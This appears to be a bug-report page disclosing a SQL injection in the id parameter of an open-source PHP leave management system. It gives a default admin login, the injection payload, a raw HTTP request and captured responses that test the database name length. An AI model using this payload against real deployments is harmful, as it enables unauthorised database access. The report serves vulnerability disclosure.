

main

...

bug_report / vendors / oretnom23 / online-leave-management-system / SQLi-2.md



GGMMNN Update SQLi-2.md

History

1 contributor

37 lines (24 sloc) | 1.29 KB

...

Online Leave Management System v1.0 by oretnom23 has SQL injection

BUG_Author: Zhang Huaiyu

Login account: admin/admin123 (Super Admin account)

vendors: <https://www.sourcecodester.com/php/14910/online-leave-management-system-php-free-source-code.html>

The program is built using the xampp-php8.1 version

Vulnerability File: /leave_system/admin/employees/manage_leave_type.php?id

Vulnerability location: /leave_system/admin/employees/manage_leave_type.php?id=,id

dbname=leave_db,length=8

[+] Payload: /leave_system/admin/employees/manage_leave_type.php?id=11%27%20and%20length(database())%20=8--+ // Leak place ---> id

GET /leave_system/admin/employees/manage_leave_type.php?id=11%27%20and%20length(data

Host: 192.168.1.19

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=a58hbbkeelngug4ek0dssb0rb5
Connection: close



length=8

INI

SQL BASICS* UNION BASED* ERROR/DOUBLE QUERY* TOOLS* WAF BYPASS* ENCODING* HTML*

Load URL192.168.1.19/leave_system/admin/employees/manage_leave_type.php?id=11' and length(database()) =8--+

Split URL

Execute

☐ Post data☐ Referrer0xHEX%URLBASE64Insert string to

<input type="checkbox"/>	Leave Type	Leave Credits
<input checked="" type="checkbox"/>	LWOP - Leave w/o Pay	365
<input checked="" type="checkbox"/>	SL - Sick Leave	5
<input checked="" type="checkbox"/>	VL - Vacation Leave	10

length=9

INI

SQL BASICS* UNION BASED* ERROR/DOUBLE QUERY* TOOLS* WAF BYPASS* ENCODING* HTML* ENCRYPTION*

Load URL192.168.1.19/leave_system/admin/employees/manage_leave_type.php?id=11' and length(database()) =9--+

Split URL

Execute

☐ Post data☐ Referrer0xHEX%URLBASE64Insert string to replaceInsert rep

<input type="checkbox"/>	Leave Type	Leave Credits
<input type="checkbox"/>	LWOP - Leave w/o Pay	999
<input type="checkbox"/>	SL - Sick Leave	5
<input type="checkbox"/>	VL - Vacation Leave	10